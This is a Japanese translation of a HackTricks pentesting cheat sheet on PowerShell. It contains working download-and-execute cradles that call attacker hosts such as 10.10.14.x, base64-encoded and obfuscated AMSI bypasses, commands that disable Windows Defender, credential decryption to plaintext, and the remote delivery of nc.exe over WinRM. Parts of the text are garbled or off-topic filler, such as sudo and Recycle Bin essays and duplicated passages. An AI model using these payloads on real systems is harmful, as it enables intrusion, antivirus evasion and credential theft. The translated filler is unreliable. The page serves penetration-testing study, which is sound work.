hacktricks/windows-hardening/basic-powershell-for-pentesters
2023-07-07 23:42:27 +00:00
..
powerview.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated to Japanese 2023-07-07 23:42:27 +00:00

ペンテスターのための基本的なPowerShell

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

デフォルトのPowerShellの場所

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

基本的なPSコマンドの開始

PowerShellPSは、Windowsシステムで使用される強力なスクリプト言語およびコマンドラインシェルです。Pentesterとして、PSを使用して効果的なハッキングテクニックを実行するために、いくつかの基本的なコマンドを知っておくことが重要です。

以下は、Pentesterが始めるための基本的なPSコマンドです。

1. Get-Process

このコマンドは、実行中のプロセスの一覧を表示します。Pentesterは、潜在的な脆弱性を持つプロセスを特定するために使用することができます。

Get-Process

2. Get-Service

このコマンドは、実行中のサービスの一覧を表示します。Pentesterは、悪意のあるサービスを特定するために使用することができます。

Get-Service

3. Get-NetAdapter

このコマンドは、ネットワークアダプターの情報を表示します。Pentesterは、ネットワーク接続に関する情報を収集するために使用することができます。

Get-NetAdapter

4. Get-NetFirewallRule

このコマンドは、ファイアウォールルールの一覧を表示します。Pentesterは、ファイアウォールの設定を調査するために使用することができます。

Get-NetFirewallRule

5. Get-EventLog

このコマンドは、イベントログのエントリを表示します。Pentesterは、セキュリティインシデントを特定するために使用することができます。

Get-EventLog -LogName Security

これらの基本的なPSコマンドを使用することで、PentesterはWindowsシステムの調査を開始することができます。

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

ダウンロードと実行

powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')"

このコマンドは、PowerShellを使用してリモートのスクリプトをダウンロードして実行する方法です。

  • powershell -cPowerShellをコマンドラインモードで実行します。
  • IEXInvoke-Expressionの略で、PowerShellスクリプトを実行するためのコマンドレットです。
  • (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')Net.WebClientオブジェクトを作成し、指定したURLからスクリプトをダウンロードします。

このコマンドを実行すると、指定したURLからスクリプトがダウンロードされ、そのスクリプトが実行されます。注意が必要なのは、信頼できるソースからのみスクリプトをダウンロードすることです。

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

AMSIバイパスを使用してバックグラウンドでダウンロード実行

This technique allows you to download and execute a file in the background while bypassing AMSI (Antimalware Scan Interface).

PowerShellコード

$URL = "http://example.com/file.exe"
$Output = "$env:TEMP\file.exe"

# ファイルをダウンロード
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)

# ダウンロードしたファイルを実行
Start-Process -FilePath $Output -WindowStyle Hidden

このコードは、指定したURLからファイルをダウンロードし、ダウンロードしたファイルをバックグラウンドで実行します。ファイルは一時ディレクトリに保存されます。

AMSIバイパスの実行

# AMSIバイパスを有効化
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# ダウンロード&実行コードを実行
$URL = "http://example.com/file.exe"
$Output = "$env:TEMP\file.exe"
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)
Start-Process -FilePath $Output -WindowStyle Hidden

このコードは、AMSIバイパスを有効化してから、ダウンロード実行コードを実行します。AMSIバイパスにより、ファイルのダウンロードと実行が監視されずに実行されます。

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Linuxでb64を使用する

Linuxでは、base64コマンドを使用してファイルをBase64形式にエンコードおよびデコードすることができます。

  • ファイルをBase64形式にエンコードする場合
base64 <file> > <output_file>
  • Base64形式のファイルをデコードする場合
base64 -d <file> > <output_file>

<file>はエンコードまたはデコードするファイルのパスを指定し、<output_file>は結果を保存するファイルのパスを指定します。

例えば、file.txtをBase64形式にエンコードする場合は、次のコマンドを使用します

base64 file.txt > encoded.txt

同様に、encoded.txtをデコードする場合は、次のコマンドを使用します:

base64 -d encoded.txt > decoded.txt

これにより、Linuxでb64を使用してファイルをエンコードおよびデコードすることができます。

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

ダウンロード

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequestは、PowerShellのコマンドレットであり、WebサーバーにHTTPリクエストを送信するために使用されます。このコマンドレットは、Webページの内容を取得したり、ファイルをダウンロードしたりするために使用されます。

以下は、Invoke-WebRequestコマンドレットの使用例です。

Invoke-WebRequest -Uri "https://example.com"

この例では、https://example.comに対してHTTPリクエストが送信されます。レスポンスは、PowerShellオブジェクトとして返されます。

Invoke-WebRequestコマンドレットには、さまざまなオプションがあります。たとえば、-Methodオプションを使用して、HTTPメソッドを指定することができます。デフォルトでは、GETメソッドが使用されますが、POSTPUTなどの他のメソッドも指定できます。

また、-Headersオプションを使用して、HTTPヘッダーを指定することもできます。これにより、カスタムのヘッダーをリクエストに追加することができます。

Invoke-WebRequestコマンドレットは、ペンテストやセキュリティ調査の際に非常に便利です。Webアプリケーションの脆弱性をテストしたり、Webサーバーから情報を収集したりするために使用することができます。

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading.

Basic Usage

To download a file using Wget, you can use the following command:

wget [URL]

Replace [URL] with the actual URL of the file you want to download.

By default, Wget will save the downloaded file in the current directory with the same name as the remote file. If you want to specify a different name for the downloaded file, you can use the -O option followed by the desired file name:

wget -O [output-file] [URL]

Replace [output-file] with the name you want to give to the downloaded file.

Downloading Multiple Files

Wget also allows you to download multiple files at once. You can provide a list of URLs in a text file and use the -i option to specify the file containing the URLs:

wget -i [file-with-urls]

Replace [file-with-urls] with the path to the text file containing the URLs.

Recursive Downloading

One of the powerful features of Wget is its ability to perform recursive downloading. This means that it can download not only the specified file but also all the files linked to it.

To enable recursive downloading, you can use the -r option:

wget -r [URL]

This will download the specified file and all the files linked to it, creating a local mirror of the website.

Conclusion

Wget is a versatile command-line tool for downloading files from the web. It provides various options for customizing the download process, such as specifying output file names and performing recursive downloads.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

BitsTransferは、PowerShellのモジュールであり、ファイルのダウンロードやアップロードを簡単に行うための便利なツールです。BitsTransferを使用すると、高速で信頼性の高いファイル転送が可能です。

BitsTransferを使用するには、まずImport-Module BitsTransferコマンドを実行してモジュールをインポートします。次に、Start-BitsTransferコマンドを使用してファイルの転送を開始します。

以下は、BitsTransferを使用してファイルをダウンロードする例です。

Import-Module BitsTransfer
Start-BitsTransfer -Source "http://example.com/file.txt" -Destination "C:\Downloads\file.txt"

上記の例では、http://example.com/file.txtからC:\Downloads\file.txtにファイルをダウンロードしています。

BitsTransferは、ファイルのダウンロードやアップロードに便利なオプションを提供しています。例えば、-Priorityオプションを使用して転送の優先度を設定したり、-ProxyUsageオプションを使用してプロキシを経由して転送を行ったりすることができます。

BitsTransferは、便利なツールであり、PowerShellを使用したファイル転送を簡単に行うためのオプションを提供しています。

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

In this section, we will discuss the usage of Base64 encoding in Kali Linux and the EncodedCommand parameter in PowerShell.

Base64 Encoding in Kali Linux

Base64 encoding is a technique used to encode binary data into ASCII characters. In Kali Linux, you can use the base64 command-line tool to encode and decode data using Base64.

To encode a file using Base64, you can use the following command:

base64 <file> > <output_file>

To decode a file encoded with Base64, you can use the following command:

base64 -d <file> > <output_file>

EncodedCommand Parameter in PowerShell

The EncodedCommand parameter in PowerShell allows you to run a command that is Base64-encoded. This can be useful in scenarios where you want to execute a command without it being easily visible in plain text.

To use the EncodedCommand parameter, you need to encode your PowerShell command using Base64. You can do this using the [System.Convert]::ToBase64String() method in PowerShell.

Here is an example of how to use the EncodedCommand parameter:

powershell.exe -EncodedCommand <Base64_encoded_command>

Replace <Base64_encoded_command> with the Base64-encoded version of your PowerShell command.

Keep in mind that using the EncodedCommand parameter can help obfuscate your commands, but it is not foolproof. Advanced attackers can still decode and analyze the encoded commands.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

実行ポリシー

制約言語

AppLockerポリシー

WinRMの有効化 (リモートPS)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Defenderの無効化

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

AMSIバイパス

amsi.dllは、アプリケーションが相互作用するために必要なエクスポートを持ち、プロセスにロードされます。そして、それがプロセスのメモリ空間にロードされているため、メモリ内の命令を上書きすることで動作を変更することができます。これにより、何も検出しないようにすることができます。

したがって、AMSIバイパスの目的は、そのDLLの命令をメモリ内で上書きして検出を無効化することです。

AMSIバイパスジェネレーターのウェブページ: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSIバイパス2 - マネージドAPI呼び出しフック

詳細な情報については、この投稿を参照してください およびコード](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)。

この新しい技術は、.NETメソッドのAPI呼び出しフックに依存しています。実際、.NETメソッドはメモリ内でネイティブなマシン命令にコンパイルされる必要があり、ネイティブなメソッドと非常に似た形になります。これらのコンパイルされたメソッドは、プログラムの制御フローを変更するためにフックすることができます。

.NETメソッドのAPI呼び出しフックを実行する手順は次のとおりです。

  1. フックする対象メソッドを特定する
  2. ターゲットと同じ関数プロトタイプを持つメソッドを定義する
  3. メソッドを見つけるためにリフレクションを使用する
  4. 各メソッドがコンパイルされていることを確認する
  5. 各メソッドのメモリ上の位置を見つける
  6. 悪意のあるメソッドを指す命令にターゲットメソッドを上書きする

PS-History

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

権限の取得

To get the permissions of a file or directory in PowerShell, you can use the Get-Acl cmdlet. This cmdlet retrieves the access control list (ACL) for the specified object.

Get-Acl -Path C:\path\to\file.txt

This command will display the permissions associated with the file.txt file, including the user or group, the access level (e.g., Read, Write, Execute), and any special permissions.

You can also use the Get-Acl cmdlet with the Format-List cmdlet to display the permissions in a more detailed format.

Get-Acl -Path C:\path\to\file.txt | Format-List

This command will provide additional information, such as the owner of the file, the access control entries (ACEs), and the inheritance settings.

By understanding the permissions assigned to a file or directory, you can assess the level of access and potential vulnerabilities that may exist. This information can be valuable during a penetration test or security assessment.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

OSのバージョンとHotFixes

Windowsのバージョンと適用されているHotFixesホットフィックスを確認するために、次のコマンドを使用します。

Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture, Version, BuildNumber

このコマンドは、Windowsのバージョン、Service Packのバージョン、OSのアーキテクチャ、ビルド番号を表示します。

また、HotFixesホットフィックスの情報を取得するためには、次のコマンドを使用します。

Get-HotFix

このコマンドは、適用されているHotFixesホットフィックスの一覧を表示します。

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

環境

The following tools and configurations are recommended for executing the PowerShell commands and scripts mentioned in this guide:

このガイドで言及されているPowerShellのコマンドとスクリプトを実行するために、以下のツールと設定が推奨されています。

  • Windows operating system (preferably Windows 10 or later)

  • PowerShell version 5.1 or later

  • Administrative privileges (for certain commands)

  • Internet access (for downloading additional modules or scripts)

  • Windowsオペレーティングシステム可能ならWindows 10以降

  • PowerShellバージョン5.1以降

  • 管理者特権(一部のコマンドに必要)

  • インターネットアクセス(追加のモジュールやスクリプトのダウンロードに必要)

Execution Policy

Before running any PowerShell scripts, it is important to check and set the execution policy. The execution policy determines whether PowerShell scripts can be run on a system. To check the current execution policy, open a PowerShell session and run the following command:

Get-ExecutionPolicy

To set the execution policy to allow running scripts, run the following command with administrative privileges:

Set-ExecutionPolicy RemoteSigned

スクリプトを実行する前に、実行ポリシーを確認して設定することが重要です。実行ポリシーは、PowerShellスクリプトがシステム上で実行できるかどうかを決定します。現在の実行ポリシーを確認するには、PowerShellセッションを開き、次のコマンドを実行します。

Get-ExecutionPolicy

スクリプトの実行を許可するために、管理者特権で次のコマンドを実行します。

Set-ExecutionPolicy RemoteSigned

PowerShell Profiles

PowerShell profiles allow you to customize and configure your PowerShell environment. There are different types of profiles that are loaded automatically when PowerShell starts. To view the profiles, run the following command:

$PROFILE | Format-List * -Force

To create or edit a profile, you can use the following commands:

notepad $PROFILE
ise $PROFILE

PowerShellプロファイルを使用すると、PowerShell環境をカスタマイズおよび設定することができます。PowerShellが起動すると自動的に読み込まれる異なるタイプのプロファイルがあります。プロファイルを表示するには、次のコマンドを実行します。

$PROFILE | Format-List * -Force

プロファイルを作成または編集するには、次のコマンドを使用できます。

notepad $PROFILE
ise $PROFILE
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

他の接続されたドライブ

In this section, we will discuss how to identify and access other connected drives using PowerShell.

このセクションでは、PowerShellを使用して他の接続されたドライブを特定し、アクセスする方法について説明します。

List all drives

すべてのドライブをリストする

To list all the drives connected to the system, you can use the Get-PSDrive cmdlet.

システムに接続されているすべてのドライブをリストするには、Get-PSDriveコマンドレットを使用します。

Get-PSDrive

This command will display a list of all the drives along with their names, types, and root paths.

このコマンドは、すべてのドライブの名前、タイプ、およびルートパスを含むリストを表示します。

Accessing a specific drive

特定のドライブへのアクセス

To access a specific drive, you can use the drive letter followed by a colon (:) as the path.

特定のドライブにアクセスするには、ドライブレターに続けてコロン(:)をパスとして使用します。

cd D:

This command will change the current location to the root of the D drive.

このコマンドは、現在の場所をDドライブのルートに変更します。

Accessing a network drive

ネットワークドライブへのアクセス

To access a network drive, you can use the UNC path (\\server\share) as the path.

ネットワークドライブにアクセスするには、UNCパス\\server\share)をパスとして使用します。

cd \\server\share

This command will change the current location to the root of the network drive.

このコマンドは、現在の場所をネットワークドライブのルートに変更します。

Conclusion

結論

By using PowerShell, you can easily list and access other connected drives on a Windows system. This can be useful for navigating through different drives and performing various operations.

PowerShellを使用することで、Windowsシステム上の他の接続されたドライブを簡単にリストし、アクセスすることができます。これは、異なるドライブをナビゲートし、さまざまな操作を実行するために役立ちます。

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

リサイクル ビン

The Recycle Bin is a special folder in Windows that stores deleted files and folders. When a file or folder is deleted, it is not immediately removed from the system. Instead, it is moved to the Recycle Bin, where it can be restored if needed.

The Recycle Bin provides a safety net for users, allowing them to recover accidentally deleted files. It is especially useful in cases where important files are deleted by mistake or when files are deleted and later found to be needed again.

To access the Recycle Bin, simply double-click on its icon on the desktop. This will open a window displaying all the files and folders that have been deleted. From here, you can select the files or folders you want to restore and click on the "Restore" button to move them back to their original location.

It is important to note that the Recycle Bin has a limited storage capacity. Once it reaches its maximum size, older files will be automatically deleted to make room for new ones. Therefore, it is recommended to regularly empty the Recycle Bin to free up disk space.

In summary, the Recycle Bin is a useful feature in Windows that allows users to recover deleted files and folders. It serves as a safety net, providing a second chance to retrieve important data that was accidentally deleted.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

ドメインの偵察

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

ユーザー

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

セキュアな文字列から平文へ

Sometimes during a penetration test, you may come across a secure string that needs to be converted to plaintext for further analysis. In PowerShell, you can use the ConvertFrom-SecureString cmdlet to achieve this.

以下のように、ペネトレーションテスト中に、さらなる分析のためにセキュアな文字列を平文に変換する必要がある場合があります。PowerShellでは、ConvertFrom-SecureStringコマンドレットを使用することで、これを実現することができます。

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

In the above example, we first create a secure string using the ConvertTo-SecureString cmdlet. We pass the desired plaintext password as a parameter and use the -AsPlainText and -Force flags to ensure the conversion.

上記の例では、まずConvertTo-SecureStringコマンドレットを使用してセキュアな文字列を作成します。パラメータとして望む平文のパスワードを渡し、変換を確実にするために-AsPlainText-Forceフラグを使用します。

Next, we use the [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR() method to convert the secure string to a BSTR (Basic String) representation. Finally, we use the [System.Runtime.InteropServices.Marshal]::PtrToStringAuto() method to convert the BSTR representation to plaintext.

次に、[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR()メソッドを使用して、セキュアな文字列をBSTRBasic String表現に変換します。最後に、[System.Runtime.InteropServices.Marshal]::PtrToStringAuto()メソッドを使用して、BSTR表現を平文に変換します。

Keep in mind that this method should only be used for legitimate purposes and with proper authorization.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

または、XMLから直接解析する方法もあります。

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

SUDOは、Linuxシステムで特権ユーザーとしてコマンドを実行するためのツールです。通常、rootユーザーの権限を持たないユーザーが特定のコマンドを実行する必要がある場合に使用されます。

SUDOの設定は、/etc/sudoersファイルで管理されます。このファイルには、どのユーザーがどのコマンドを実行できるかの設定が含まれています。

SUDOを使用すると、特権ユーザーの権限を持たないユーザーが、必要なタスクを実行するために一時的に特権を取得できます。ただし、SUDOの設定には注意が必要であり、不適切な設定はセキュリティ上のリスクとなります。

以下は、SUDOの基本的な使用方法です。

SUDOのインストール

SUDOは通常、Linuxディストリビューションにデフォルトでインストールされています。もしインストールされていない場合は、パッケージマネージャーを使用してインストールすることができます。

SUDOの設定

SUDOの設定は、/etc/sudoersファイルで行われます。このファイルはrootユーザーのみが編集できるため、編集する際はroot権限が必要です。

以下のコマンドを使用して、/etc/sudoersファイルを編集します。

sudo visudo

このコマンドを実行すると、デフォルトのテキストエディタが起動し、/etc/sudoersファイルが開かれます。

ユーザーのSUDO権限の追加

ユーザーにSUDO権限を追加するには、以下のように/etc/sudoersファイルにエントリを追加します。

ユーザー名  ALL=(ALL) ALL

上記のエントリでは、ユーザー名にSUDO権限を与えています。ALL=(ALL) ALLの部分は、ユーザーがどのホストでどのユーザーに対してどのコマンドを実行できるかを指定しています。

SUDOを使用してコマンドを実行する

SUDOを使用してコマンドを実行するには、以下のようにコマンドの前にsudoを付けます。

sudo コマンド

例えば、root権限が必要なコマンドを実行する場合は、以下のようにします。

sudo apt-get update

SUDOのパスワードの要求

デフォルトでは、SUDOを使用する際にはユーザーのパスワードが要求されます。パスワードの要求を省略するには、以下のように/etc/sudoersファイルを編集します。

ユーザー名  ALL=(ALL) NOPASSWD: ALL

上記のエントリでは、ユーザー名に対してパスワードの要求を省略しています。NOPASSWD: ALLの部分がパスワードの要求を省略する設定です。

SUDOのログの確認

SUDOを使用したコマンドのログは、/var/log/auth.logファイルに記録されます。このログを確認することで、SUDOの使用履歴を追跡することができます。

sudo cat /var/log/auth.log

以上がSUDOの基本的な使用方法です。SUDOを適切に設定し、セキュリティ上のリスクを最小限に抑えましょう。

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

グループ

グループは、Windowsシステムでユーザーを組織化するための重要な要素です。グループには、特定の権限やアクセス許可が割り当てられており、ユーザーをグループに追加することで、そのユーザーにも同じ権限やアクセス許可が与えられます。

グループの一覧表示

以下のコマンドを使用して、システム上のすべてのグループを一覧表示することができます。

Get-LocalGroup

グループの作成

新しいグループを作成するには、以下のコマンドを使用します。

New-LocalGroup -Name "GroupName"

グループへのユーザーの追加

ユーザーを既存のグループに追加するには、以下のコマンドを使用します。

Add-LocalGroupMember -Group "GroupName" -Member "UserName"

グループからのユーザーの削除

